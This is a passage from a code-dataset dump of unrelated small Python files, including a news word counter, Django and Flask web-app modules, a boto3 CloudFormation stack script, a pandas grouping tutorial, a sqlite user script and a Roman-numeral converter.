count))\n print('-' * 30)\n\n\n# Получение списка файлов и их обработка\ndef get_files(files, func):\n for file in files:\n text = func(file['filename'], file['encoding'])\n words = text.split()\n words_count = {}\n for word in words:\n if len(word) > 6:\n words_count[word] = words_count.get(word, 0) + 1\n top_10 = sorted(words_count.items(), key=lambda x: x[1], reverse=True)[:10]\n print_results(file['filename'], top_10)\n\n\nfiles_json = [\n {'filename': 'newsafr.json', 'encoding': \"utf8\"},\n {'filename': 'newsfr.json', 'encoding': \"iso8859_5\"},\n {'filename': 'newscy.json', 'encoding': \"koi8-r\"},\n {'filename': 'newsit.json', 'encoding': \"cp1251\"}\n]\nfiles_xml = [\n {'filename': 'newsafr.xml', 'encoding': \"cp1251\"},\n {'filename': 'newsfr.xml', 'encoding': \"iso8859_5\"},\n {'filename': 'newscy.xml', 'encoding': \"koi8-r\"},\n {'filename': 'newsit.xml', 'encoding': \"cp1251\"}\n]\n\nprint('Программа выводит Топ 10 наиболее встречающихся слов в файлах XML либо JSON')\nwhile True:\n print('Введите:\\n'\n '1 - чтобы вывести Топ 10 слов из файлов JSON\\n'\n '2 - чтобы вывести Топ 10 слов из файлов XML\\n'\n '0 - чтобы выйти из программы')\n choice = input()\n if choice == '1':\n get_files(files_json, read_json)\n continue\n elif choice == '2':\n get_files(files_xml, read_xml)\n continue\n elif choice == '0':\n break\n else:\n print('Введен неверный номер')\n continue\n","sub_path":"newsparser.py","file_name":"newsparser.py","file_ext":"py","file_size_in_byte":3649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"281559440","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSMS.context_processors\n\nModule contains get_user_info function for making global LOGGED_USER\nvariable in all templates.\n\n:copyright: (c) 2015 by Oleksii Omelchuk.\n:license: BSD.\n\"\"\"\n\nfrom django.http import HttpRequest\n\nfrom apps.mainteacher.models.teachers import Teachers\n\n\ndef get_user_info(request):\n \"\"\"Make global template variable LOGGED_USER\n from session user_id.\n \"\"\"\n try:\n logged_user = Teachers.objects.get(pk=request.session['teacher_id'])\n except KeyError:\n logged_user = None\n\n return {'LOGGED_USER': logged_user}\n","sub_path":"SMS/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"95384342","text":"import sys\nimport os\nimport math\nfrom PIL import Image \nfrom PIL import ImageDraw\nfrom PIL import ImageFilter\n\nif __name__ == '__main__':\n args = sys.argv\n faces = ( \"x+\", \"x-\", \"y+\", \"y-\", \"z+\", \"z-\" )\n out_width = 1024\n start_x = 0\n img = Image.new('RGBA', [out_width*6, out_width], (0x00,0x00,0x00,0xff))\n for face in faces:\n srcimg = Image.open(face+\".png\", 'r')\n resized_img = srcimg.resize((out_width, out_width))\n clipboard = resized_img.crop((0, 0, out_width, out_width))\n img.paste(clipboard, (start_x, 0, start_x + out_width, out_width))\n start_x += out_width\n #end\n\n outdir = \".\"\n outpath = outdir + '/skybox.png'\n img.save(outpath);\n#EOF\n","sub_path":"Tools/stitch2.py","file_name":"stitch2.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"445723425","text":"import os\nfrom django.test import TestCase\nfrom corehq.apps.app_manager.const import APP_V2\nfrom corehq.apps.app_manager.models import Application, Module\nfrom corehq.apps.userreports.dbaccessors import delete_all_report_configs\nfrom corehq.apps.userreports.models import DataSourceConfiguration\nfrom corehq.apps.userreports.reports.builder.forms import ConfigureListReportForm\n\n\ndef read(rel_path):\n path = os.path.join(os.path.dirname(__file__), *rel_path)\n with open(path) as f:\n return f.read()\n\n\nclass ReportBuilderTest(TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.app = Application.new_app('domain', 'Untitled Application', application_version=APP_V2)\n module = cls.app.add_module(Module.new_module('Untitled Module', None))\n cls.form = cls.app.new_form(module.id, \"Untitled Form\", 'en', read(['data', 'forms', 'simple.xml']))\n cls.app.save()\n\n @classmethod\n def tearDownClass(cls):\n cls.app.delete()\n for config in DataSourceConfiguration.all():\n config.delete()\n delete_all_report_configs()\n\n def test_updating_out_of_date_report(self):\n \"\"\"\n Test that editing a report for an outdated data source creates a new data source.\n Data sources are tied to app version.\n \"\"\"\n\n # Make report\n builder_form = ConfigureListReportForm(\n \"Test Report\",\n self.app._id,\n \"form\",\n self.form.unique_id,\n existing_report=None,\n data={\n 'filters': '[]',\n 'columns': '[{\"property\": \"/data/first_name\", \"display_text\": \"first name\"}]',\n }\n )\n self.assertTrue(builder_form.is_valid())\n report = builder_form.create_report()\n first_data_source_id = report.config_id\n\n # Bump version of app by saving it\n self.app.save()\n\n # Modify the report\n builder_form = ConfigureListReportForm(\n \"Test Report\",\n self.app._id,\n \"form\",\n self.form.unique_id,\n existing_report=report,\n data={\n 'filters': '[]',\n 'columns': '[{\"property\": \"/data/first_name\", \"display_text\": \"first name\"}]',\n }\n )\n self.assertTrue(builder_form.is_valid())\n report = builder_form.update_report()\n second_data_source_id = report.config_id\n\n self.assertNotEqual(first_data_source_id, second_data_source_id)\n","sub_path":"corehq/apps/userreports/tests/test_report_builder.py","file_name":"test_report_builder.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"492981755","text":"import boto3\nimport sys\nimport os\nimport time\nfrom texttable import Texttable\n\ndef SG_Intuit_CIDR_SSH(profilename):\n\t#print(\"SG_Intuit_CIDR_SSH\")\n\t#client = boto3.client('cloudformation')\n\tif profilename:\n\t\tProfile_Session = boto3.session.Session(profile_name=profilename)\n\t\tclient = Profile_Session.client('cloudformation')\n\t\tProfilename = Profile_Session.profile_name\n\telse:\n\t\tprint(bcolors.WARNING,\"Profile argument is not given and Currently you are not logged into any profile, hence can't proceed and exiting the script\",bcolors.ENDC)\n\t\tsys.exit()\n\ttry:\n\t\tresponse = client.create_stack(\n\t\t StackName='intuit-cidr-ingress-tcp-22',\n\t\t TemplateURL='https://s3-us-west-2.amazonaws.com/286056532910-scripts/intuit-cidr-ingress.yml',\n\t\t Parameters=[\n\t\t {\n\t\t 'ParameterKey': 'Name',\n\t\t 'ParameterValue': 'intuit-cidr-ingress',\n\t\t },\n\t\t {\n\t\t 'ParameterKey': 'Port',\n\t\t 'ParameterValue': '22',\n\t\t },\n\t\t {\n\t\t 'ParameterKey': 'VpcId',\n\t\t 'ParameterValue': 'vpc-73703315',\n\t\t },\n\t\t ],\n\t\t)\n\t\t#print(response)\n\texcept Exception as error:\n\t\tprint(StackName,\" Stack is not created for the following reason\")\n\t\tprint(error)\n\t\tprint(\"\\n\")\n\t\tdelete = input(\"Do you like to Delete this existing Stack (y/N) : \")\n\t\tif delete == 'y' or delete == 'Y':\n\t\t\tdelete_stack(\"intuit-cidr-ingress-tcp-22\",profilename)\n\t\tsys.exit()\n\tprint(\"Stack with Name \\\"intuit-cidr-ingress-tcp-22\\\" is created\",)\n\tmonitor_stack('intuit-cidr-ingress-tcp-22',profilename)\n\n\ndef SG_Intuit_CIDR_HTTP():\n\tprint(\"SG_Intuit_CIDR_HTTP\")\n\ndef SG_Intuit_CIDR_HTTPS():\n\tprint(\"SG_Intuit_CIDR_HTTPS\")\n\ndef SG_Intuit_APIGW_CIDR_HTTPS():\n\tprint(\"SG_Intuit_APIGW_CIDR_HTTPS\")\n\ndef monitor_stack(Stack_Name,profilename):\n\tif profilename:\n\t\tProfile_Session = boto3.session.Session(profile_name=profilename)\n\t\tclient = Profile_Session.client('cloudformation')\n\t\tProfilename = Profile_Session.profile_name\n\telse:\n\t\tprint(bcolors.WARNING,\"Profile argument is not given and Currently you are not logged into any profile, hence can't proceed and exiting the script\",bcolors.ENDC)\n\t\tsys.exit()\n\ttry:\n\t\twhile True:\n\t\t\tresponse = client.describe_stack_events(\n\t\t\t\tStackName=Stack_Name,\n\t\t\t)\n\t\t\tList = []\n\t\t\tList = [['Stack_Id', 'Stack_Name', 'Resource_Status', 'Resource_Status_Reason']]\n\t\t\tprint(response['StackEvents'][0]['ResourceStatus'])\n\t\t\tList.append([response['StackEvents'][0]['StackId'],response['StackEvents'][0]['StackName'], response['StackEvents'][0]['ResourceStatus'], response['StackEvents'][0]['ResourceStatusReason']])\n\t\t\tt = Texttable()\n\t\t\tt.add_rows(List)\n\t\t\tprint(t.draw())\n\t\t\tresp = client.describe_stacks(\n\t\t\t\tStackName=Stack_Name,\n\t\t\t)\n\t\t\tStackStatus = resp['Stacks'][0]['StackStatus']\n\t\t\tif StackStatus == 'ROLLBACK_COMPLETE' or StackStatus == 'CREATE_FAILED' or StackStatus == 'CREATE_COMPLETE':\n\t\t\t\tprint(\"Current status of the Stack is \",StackStatus)\n\texcept Exception as error:\n\t\tprint(error)\n\n\ndef delete_stack(Stack_Name,profilename):\n\tif Stack_Name == '':\n\t\tStack_Name = input(\"Enter the Stack Name : \")\n\tif profilename:\n\t\tProfile_Session = boto3.session.Session(profile_name=profilename)\n\t\tclient = Profile_Session.client('cloudformation')\n\t\tProfilename = Profile_Session.profile_name\n\telse:\n\t\tprint(bcolors.WARNING,\"Profile argument is not given and Currently you are not logged into any profile, hence can't proceed and exiting the script\",bcolors.ENDC)\n\t\tsys.exit()\n\ttry:\t\n\t\tresponse = client.delete_stack(\n\t\t StackName=Stack_Name\n\t\t)\n\t\tprint(Stack_Name,\" is deleted successfully\")\n\texcept Exception as error:\n\t\tprint(error)\n\t\tprint(\"Unable to delete stack - \",Stack_Name)\n\ndef main():\n\tProfile = sys.argv[1]\n\twhile True:\t\n#\t\tos.system('clear')\n\t\tprint(\"1. Create Stack - Security Group with Intuit CIDR for SSH\")\n\t\tprint(\"2. Create Stack - Security Group with Intuit CIDR for HTTP\")\n\t\tprint(\"3. Create Stack - Security Group with Intuit CIDR for HTTPS\")\n\t\tprint(\"4. Create Stack - Security Group with Intuit API GW CIDR for HTTPS\")\n\t\tprint(\"5. Delete Stack of your Choice\")\n\t\tprint(\"6. Exit\")\n\t\tprint(\"\\n\")\n\t\tchoice = input(\"Enter Your Choice : \")\n\t\tif choice == '1':\n\t\t\tSG_Intuit_CIDR_SSH(Profile)\n\t\t\tbreak\n\t\telif choice == '2':\n\t\t\tSG_Intuit_CIDR_HTTP()\n\t\telif choice == '3':\n\t\t\tSG_Intuit_CIDR_HTTPS()\n\t\telif choice == '4':\n\t\t\tSG_Intuit_APIGW_CIDR_HTTPS()\n\t\telif choice == '5':\n\t\t\tdelete_stack('',Profile)\n\t\telif choice == '6':\n\t\t\tprint(\"Thank you for using the Script\")\n\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"Wrong Choice\")\n\t\t\ttime.sleep('5')\n\t\t\tcontinue\n\n\nif __name__ == '__main__' :\n\ttry:\n\t\tmain()\n\texcept KeyboardInterrupt:\n\t\tprint('')\n\t\tprint('\\033[1m' + '\\nKeyboard Interruption..Calm Down')\n\t\tprint('\\033[1m' + '\\nExiting !!!!\\n')\n\t\tprint('\\033[0m')\n\t\tsys.exit()","sub_path":"boto3/scripts/Trigger_v1.0.py","file_name":"Trigger_v1.0.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"339285959","text":"import tkinter as tk\nimport collections\n\nimport View.ViewConfigs as sViewConfigs\nimport View.TkVariables as sVariables\nimport View.WidgetManager as sWidgetManager\n\nimport View.RootManager as mRootManager\nimport View.TextManager as mTextManager\nimport View.FileManager as mFileManager\nimport View.MessageManager as mMsgManager\nimport View.ManagerBus as mManagerBus\nimport View.MainFrameManager as mMainFrameManager\nimport View.ShortCutManager as mShortCutManager\nimport View.MenuManager as mMenuManager\n\nclass View():\n def __init__(self):\n self._variables = sVariables.TkVariables.getInstance()\n self._viewConfigs = sViewConfigs.ViewConfigs.getInstance()\n self._widgetManager = sWidgetManager.WidgetManager.getInstance()\n\n self._managers= collections.OrderedDict()\n\n def createWindow(self):\n self._createManagers()\n\n self._configTkVariables()\n self._configViewConfigs()\n self._configManagers()\n\n def _createManagers(self):\n self._managers[\"root\"] = mRootManager.RootManager()\n\n self._managers[\"bus\"] = mManagerBus.ManagerBus()\n\n self._managers[\"message\"] = mMsgManager.MessageManager()\n\n self._managers[\"file\"] = mFileManager.FileManager()\n\n self._managers[\"menu\"] = mMenuManager.MenuManager()\n\n self._managers[\"shortCut\"] = mShortCutManager.ShortCutManager()\n\n self._managers[\"mainFrame\"] = mMainFrameManager.MainFrameManager()\n\n self._managers[\"text\"] = mTextManager.TextManager(True)\n\n self._managers[\"output\"] = mTextManager.TextManager(False)\n\n def _configViewConfigs(self):\n self._viewConfigs.setConfigs(self._managers)\n\n def _configTkVariables(self):\n for name in (\"enableLineNum\", \"enableCursorInfo\", \"enableHighlightCurrentLine\"):\n self._variables.createInt(name)\n\n for name in (\"themes\",):\n self._variables.createString(name)\n\n def _configManagers(self):\n for k, v in self._managers.items():\n try:\n v.configure(self._managers)\n except:\n print(\"config error: {0}\".format(k))\n\n def showWindow(self):\n win = self._widgetManager.get(\"Root\")\n\n win.mainloop()\n","sub_path":"View/View.py","file_name":"View.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"27903185","text":"'''\npandas分组与聚合\n'''\nimport pandas as pd\nimport numpy as np\nsales = [{'account': 'Jones LLC','type':'a', 'Jan': 150, 'Feb': 200, 'Mar': 140},\n {'account': 'Alpha Co','type':'b', 'Jan': 200, 'Feb': 210, 'Mar': 215},\n {'account': 'Blue Inc','type':'a', 'Jan': 50, 'Feb': 90, 'Mar': 95 }]\ndf = pd.DataFrame(sales)\n# print(df.groupby('type').groups)\n# >>> {'b': Int64Index([1], dtype='int64'), 'a': Int64Index([0, 2], dtype='int64')}\n# for a,b in df.groupby('type'): #打印分组信息\n# print(a)\n# print(b)\n\n# res = df.groupby('type').aggregate({'type':'count', 'Feb':'sum'})\n# 按照'type'分为a,b两组，以a，b别作为行索引，将分组的'type'列求个数作为第一列，'Feb'列求和作为第二列，\n# print(res)\n# >>>:\n# Feb type\n# type\n# a 290 2\n# b 210 1\ngroup=['x','y','z']\ndata=pd.DataFrame({\n \"group\":[group[x] for x in np.random.randint(0,len(group),10)] ,\n \"salary\":np.random.randint(5,50,10),\n \"age\":np.random.randint(15,50,10)\n })\nprint(data)\n# res = data.groupby('group').agg('mean') # 以'group'分组，求各组的年龄和薪资平均值\n# print(res)\n\n# res = data.groupby('group').mean().to_dict() # 等价与上面\n# print(res)\n\n# res = data.groupby('group').transform('mean')\n# print(res)\n\nres = pd.pivot_table(data,\n values='salary',\n columns='group',\n index='age',\n aggfunc='count',\n margins=True\n ).reset_index()\nprint(res)\n","sub_path":"week04/section7.py","file_name":"section7.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"448080300","text":"from flask import Flask, render_template, request, flash, session, redirect, url_for, Blueprint, request, jsonify\nfrom flask_login import login_required, login_user, logout_user, current_user\nfrom Scheduler.model import db, Announcement\nfrom Scheduler.forms import AnnouncementForm\nfrom Scheduler.decorators import admin_required\nfrom sqlalchemy import func\nfrom sqlalchemy import and_\nimport datetime\nimport calendar\nimport sys\n\nannouncement = Blueprint('announcement', __name__, template_folder='templates')\n\ndef create_announcement(title, author, body):\n newAnnouncement = Announcement(title, author, body)\n db.session.add(newAnnouncement)\n db.session.commit()\n return newAnnouncement\n\ndef delete_announcement(id):\n announcement = Announcement.query.filter_by(id=id).first()\n db.session.delete(announcement)\n db.session.commit()\n\n@announcement.route('/announcements')\ndef announcements():\n announcements = Announcement.query.all()\n list.reverse(announcements)\n if len(announcements) > 0:\n return render_template('announcements.html', announcements=announcements)\n else:\n msg = 'No Announcements Found'\n return render_template('announcements.html', msg=msg)\n\n@announcement.route('/announcement//')\ndef view_announcement(id):\n announcement = Announcement.query.filter_by(id=id).first()\n return render_template('announcement.html', announcement=announcement)\n\n@announcement.route('/add_announcement', methods=['GET', 'POST'])\n@admin_required\ndef add_announcement():\n form = AnnouncementForm(request.form)\n if form.validate_on_submit():\n create_announcement(form.title.data, session['username'], form.body.data)\n flash('Announcement created!', 'success')\n return redirect(url_for('regular.dashboard'))\n return render_template('add_announcement.html', form=form)\n\n@announcement.route('/edit_announcement//', methods=['GET', 'POST'])\n@admin_required\ndef edit_announcement(id):\n announcement = Announcement.query.filter_by(id=id).first()\n form = AnnouncementForm(request.form)\n form.title.data = announcement.title\n form.body.data = announcement.body\n\n if form.validate_on_submit():\n delete_announcement(announcement.id)\n title = request.form['title']\n body = request.form['body']\n\n create_announcement(title, session['username'], body)\n\n flash('Announcement edited!', 'success')\n \n return redirect(url_for('regular.dashboard'))\n return render_template('edit_announcement.html', form=form)\n\n@announcement.route('/delete_announcement//')\n@admin_required\ndef delete_route(id):\n delete_announcement(id)\n flash('Announcement Deleted!', 'success')\n return redirect(url_for('regular.dashboard'))","sub_path":"Scheduler/announcement.py","file_name":"announcement.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"498376433","text":"import check\nimport info\nimport variables\n#from dateutil import parser\n\ndef setVariablesFromArgs(args):\n\t\n\tvariables.files = list(args.file)\n\n\tif args.EffectParams is not None:\n\t\t\tvariables.Settings = list(args.EffectParams)\n\n\tif args.TimeFormat == None and variables.TimeFormat == None:\n\t\tvariables.TimeFormat = \"[%Y/%m/%d %H:%M:%S]\"\n\telif args.TimeFormat is not None:\n\t\tvariables.TimeFormat = args.TimeFormat\n\n\tif not args.YMax == None: \n\t\ttry:\n\t\t\tvariables.YMax = check.MAX_TYPE(args.YMax)\n\t\texcept:\n\t\t\tinfo.err(\"YMax of value <\" + args.YMax + \"> is invalid.\")\n\ttry:\n\t\tvariables.YMin = check.MIN_TYPE(args.YMin)\n\texcept:\n\t\tinfo.err(\"YMin of value <\" + args.YMin + \"> is invalid.\")\n\n\tif args.Speed is not None and args.Time is not None and args.FPS is not None:\n\t\tinfo.err(\"Set only two of the following: [FPS] [Speed] [Time]\")\n\n\tif args.Speed is not None and (check.is_int(args.Speed) or check.is_float(args.Speed)):\n\t\tvariables.Speed = args.Speed\n\n\tif args.Time is not None and (check.is_int(args.Time) or check.is_float(args.Time)):\n\t\tvariables.Time = args.Time\n\n\tif args.FPS is not None and (check.is_int(args.FPS) or check.is_float(args.FPS)):\n\t\tvariables.FPS = args.FPS\n\n\tif args.Legend is not None:\n\t\tvariables.Legend = args.Legend\n\n\tif args.Name is not None:\n\t\tvariables.Name = args.Name.rstrip('/')\n\telse:\n\t\tvariables.Name = variables.tmpdir\n\n\tif variables.Speed is not None and variables.Time is not None and variables.FPS is not None:\n\t\tinfo.err(\"There has been set all of the following by combining config file and args: [FPS] [Speed] [Time]\")\n\n\tif variables.FPS is not None and variables.Time is not None:\n\t\tvariables.Speed = 1\n\n\tinfo.info(\"Params from command line set succesfully.\")\n\n\ndef setVar(name, value):\n\tif name.lower() == \"timeformat\":\n\t\t# should check the format validity\n\t\tvariables.TimeFormat = value\n\n\telif name.lower() == \"ymin\":\n\t\ttry:\n\t\t\tvariables.YMin = check.MIN_TYPE(value)\n\t\texcept:\n\t\t\tinfo.err(\"YMin of value <\" + value + \"> in config file is invalid.\")\n\n\telif name.lower() == \"ymax\":\n\t\ttry:\n\t\t\tvariables.YMax = check.MAX_TYPE(value)\n\t\texcept:\n\t\t\tinfo.err(\"YMax of value <\" + value + \"> in config file is invalid.\")\n\n\telif name.lower() == \"speed\":\n\t\tif variables.Time is not None and variables.FPS is not None:\n\t\t\tinfo.err(\"Speed is already set by setting the Time and FPS.\")\n\t\t\t\t\n\t\tif check.is_int(value) or check.is_float(value):\n\t\t\tvariables.Speed = value\n\t\telse:\n\t\t\tinfo.err(\"Speed value is not numeric.\")\n\n\telif name.lower() == \"time\":\n\t\tif variables.Speed is not None and variables.FPS is not None:\n\t\t\tinfo.err(\"Time is already set by setting the Speed and FPS.\")\n\t\t\t\t\n\t\tif check.is_int(value) or check.is_float(value):\n\t\t\tvariables.Time = value\n\t\telse:\n\t\t\tinfo.err(\"Time value is not numeric.\")\n\telif name.lower() == \"fps\":\n\t\tif variables.Time is not None and variables.Speed is not None:\n\t\t\tinfo.err(\"FPS is already set by setting the Time and Speed.\")\n\t\t\t\n\t\tif check.is_int(value) or check.is_float(value):\n\t\t\tvariables.FPS = value\n\t\telse:\n\t\t\tinfo.err(\"FPS value is not numeric.\")\n\t\n\telif name.lower == \"legend\":\n\t\tvariables.Legend = value\n\n\telif name.lower == \"name\":\n\t\tif value is not None:\n\t\t\tvariables.Name = str(value).rstrip('/') \n\n\n\telse:\n\t\tinfo.err(\"Keyword <\" + name + \"> with value <\" + value + \"> from config file does not appear to be valid.\")\n\n\ndef loadConfig(configFile):\n\tif configFile is None:\n\t\tinfo.info(\"Config file path not set, skipping loading from config.\")\n\t\treturn\n\tif not check.file_exists(configFile):\n\t\tinfo.err(\"Config file does not exist!\")\n\t\n\t# now start loading some shit maybe?\n\ttry: \n\t\tfile = open(configFile, mode='r', encoding='utf-8')\n\texcept:\n\t\terr(\"Could not open config file for reading. Insufficient permissions?\")\n\n\tfor line in file:\n\t\tline=line.strip()\n\t\t# skip comments and lines with whitespaces only\n\t\tif line.startswith('#') or not line.strip():\n\t\t\tcontinue\n\t\tif \"#\" in line:\n\t\t\tline=line[0:line.find('#')]\n\t\t\tline.rstrip()\n\t\t#create array of values\t\n\t\tline = line.split(\" \", 1)\n\t\tsetVar(line[0],line[1])\n\n\tinfo.info(\"Params from config file loaded sucessfully.\")\n\treturn True\n\ndef checkVars():\n\tif variables.FPS is None and variables.Time is None:\n\t\tvariables.FPS = 25\n\tif variables.Speed is None:\n\t\tvariables.Speed = 1\n\n\n\n","sub_path":"reset.py","file_name":"reset.py","file_ext":"py","file_size_in_byte":4217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"327659074","text":"from flaskps import db\nfrom sqlalchemy_utils import ChoiceType\nfrom .constants import (\n GENDER_CHOICES,\n)\n\nclass Students(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n surname = db.Column(db.String(60))\n name = db.Column(db.String(60))\n birth_date = db.Column(db.Date())\n borned = db.Column(db.String(60))\n locality = db.Column(db.String(60))\n address = db.Column(db.String(60))\n gender = db.Column(ChoiceType(GENDER_CHOICES))\n document_type = db.Column(db.String(60))\n document_number = db.Column(db.String(60))\n tutor = db.Column(db.String(60))\n phone = db.Column(db.String(60))\n tutor_name = db.Column(db.String(60))\n level_id = db.Column(db.Integer, db.ForeignKey('level.id'), nullable=False)\n school_id = db.Column(db.Integer, db.ForeignKey('school.id'), nullable=False)\n neighborhood_id = db.Column(db.Integer, db.ForeignKey('neighborhood.id'), nullable=False)\n\n\n\n def __repr__(self):\n return '' % self.name\n\n @classmethod\n def create(cls, form):\n instance = cls(\n name=form.name.data,\n surname=form.surname.data,\n birth_date=form.birth_date.data,\n borned=form.borned.data,\n locality=form.locality.data,\n address=form.address.data,\n neighborhood_id=form.neighborhood.data,\n gender=form.gender.data,\n document_type=form.document_type.data,\n document_number=form.document_number.data,\n tutor=form.tutor.data,\n phone=form.phone.data,\n school_id=form.school.data,\n level_id=form.level.data,\n tutor_name=form.tutor_name.data,\n )\n db.session.add(instance)\n try:\n db.session.commit()\n except:\n db.session.rollback()\n return instance\n\n @classmethod\n def delete(cls, student_id):\n student = Students.query.filter_by(id=student_id).first_or_404()\n db.session.delete(student)\n db.session.commit()\n\n def update(self, form):\n self.name = form.name.data\n self.surname = form.surname.data\n self.birth_date = form.birth_date.data\n self.borned = form.borned.data\n self.locality = form.locality.data\n self.address = form.address.data\n self.neighborhood = form.neighborhood.data\n self.gender = form.gender.data\n self.document_type = form.document_type.data\n self.document_number = form.document_number.data\n self.tutor = form.tutor.data\n self.phone = form.phone.data\n self.school = form.school.data\n self.level = form.level.data\n\n db.session.commit()\n\n\nclass Neighborhood(db.Model):\n id = db.Column(db.Integer(), primary_key=True)\n name = db.Column(db.String(60), unique=True, nullable=False)\n\nclass Level(db.Model):\n id = db.Column(db.Integer(), primary_key=True)\n name = db.Column(db.String(60), unique=True, nullable=False)\n\nclass School(db.Model):\n id = db.Column(db.Integer(), primary_key=True)\n name = db.Column(db.String(60), unique=True, nullable=False)\n address = db.Column(db.String(100))\n phone = db.Column(db.String(20))\n","sub_path":"flaskps/app/students/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"246735351","text":"class Solution:\n def romanToInt(self, s: str) -> int:\n # Start by splitting the string into symbols\n # Group subtractions together, maybe loop through once and check for them?\n # E.g. look ahead to next letter and if it is greater then group\n # Sum up the resulting symbols\n\n symbols = [letter for letter in s]\n\n subtraction = False # Keep track of whether current loop is subtraction\n\n numeral_to_int = 0\n\n for idx, letter in enumerate(symbols):\n\n # Skip this loop if the previous loop was subtraction\n if subtraction:\n subtraction = False # Reset subtraction so we continue with the loop\n continue\n\n # first check to make sure we are not at the end of the list\n if (idx + 1) < len(symbols):\n next_letter = symbols[idx+1]\n\n # Check for all subtractions\n\n # check for CD and CM subtraction\n if letter == \"C\" and next_letter == \"D\":\n numeral_to_int += 400\n subtraction = True\n continue\n if letter == \"C\" and next_letter == \"M\":\n numeral_to_int += 900\n subtraction = True\n continue\n\n # Check for XL and XC subtraction\n if letter == \"X\" and next_letter == \"L\":\n numeral_to_int += 40\n subtraction = True\n continue\n if letter == \"X\" and next_letter == \"C\":\n numeral_to_int += 90\n subtraction = True\n continue\n\n # Check for IV and IX subtraction\n if letter == \"I\" and next_letter == \"V\":\n numeral_to_int += 4\n subtraction = True\n continue\n if letter == \"I\" and next_letter == \"X\":\n numeral_to_int += 9\n subtraction = True\n continue\n\n # If no subtractions, add the correct numeral value\n # Unindented bc this can be the last element of the list\n numeral_values = {\n \"I\": 1,\n \"V\": 5,\n \"X\": 10,\n \"L\": 50,\n \"C\": 100,\n \"D\": 500,\n \"M\": 1000\n }\n\n numeral_to_int += numeral_values[letter]\n\n return numeral_to_int\n\n","sub_path":"leetcode/romanToInt.py","file_name":"romanToInt.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"496733968","text":"import pygame\r\n\r\nclass Node:\r\n 'single grid node class'\r\n\r\n def __init__(self):\r\n self.id = 0\r\n self.color = 0 # 0 - white\r\n self.neighbours = []\r\n self.rect = pygame.Rect(0,0,50,50)\r\n self.handled = False\r\n self.isWall = False\r\n self.x = 0\r\n self.y = 0\r\n self.parent = None\r\n self.inOpenSet = False\r\n self.g = 0\r\n self.h = 0\r\n self.f = 0\r\n\r\n def __eq__(self, other):\r\n if self.id == other.id:\r\n return True\r\n else:\r\n return False\r\n \r\n def __lt__(self,other):\r\n return self.f < other.f\r\n\r\n\r\n def draw(self, window, x, y, sprites):\r\n if self.color == 0:\r\n window.blit(sprites[0], (x, y))\r\n elif self.color == 1:\r\n window.blit(sprites[1], (x, y))\r\n elif self.color == 2:\r\n window.blit(sprites[2], (x, y))\r\n elif self.color == 3:\r\n window.blit(sprites[3], (x, y))\r\n elif self.color == 4:\r\n window.blit(sprites[4], (x, y))\r\n\r\n def getColor(self):\r\n return self.color","sub_path":"grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"23741420","text":"from django.conf.urls import url\nfrom trash import views\n\nurlpatterns = [\n url(r'^$', views.trash_list, name='trash_index'),\n url(r'^add$', views.trash_add, name='trash_add'),\n url(r'^list$', views.trash_list, name='trash_list'),\n url(r'^detail/(?P\\d+)$', views.trash_details, name='trash_details'),\n url(r'^delete/(?P\\d+)$', views.trash_delete, name='trash_delete'),\n url(r'^(?P\\d+)/recovery', views.recovery_file, name='recovery_file'),\n]","sub_path":"trash/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"477880577","text":"from sys import argv as argument\ntry:\n argument[1]\nexcept IndexError:\n exit()\n\nimport sqlite3\n\n\nconnection = sqlite3.connect('users.db')\nc = connection.cursor()\n\nif argument[1] == \"insert\":\n user_name = input(\"Name: \")\n user_age = input(\"Age: \")\n c.execute(\"INSERT INTO users VALUES (?, ?)\", (user_name, user_age))\n\nelif argument[1] == \"show\":\n username = input(\"User-Name: \")\n c.execute(\"SELECT * FROM users WHERE name=?\", (username,))\n print(c.fetchone())\n\nconnection.commit()\nconnection.close()\n","sub_path":"Database/sqlite/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"382824071","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\n\n# plt.style.use('simple') # --- makes nicer plots\n\n\n\n\ndef make_significance_plot(img, threshold = 2.5, show = False, filename = False, imsize = 1):\n\n fig = plt.figure(figsize=(imsize, imsize))\n ax = fig.add_axes([0,0,1,1])\n\n ax.axis('off')\n\n sig = (img.sci/img.noise)\n\n ax.imshow(sig, cmap = cm.Greys, vmin = -5.0, vmax = 5.0, origin = 'lower')\n ax.imshow(np.ma.masked_where(sig <= threshold, sig), cmap = cm.plasma, vmin = 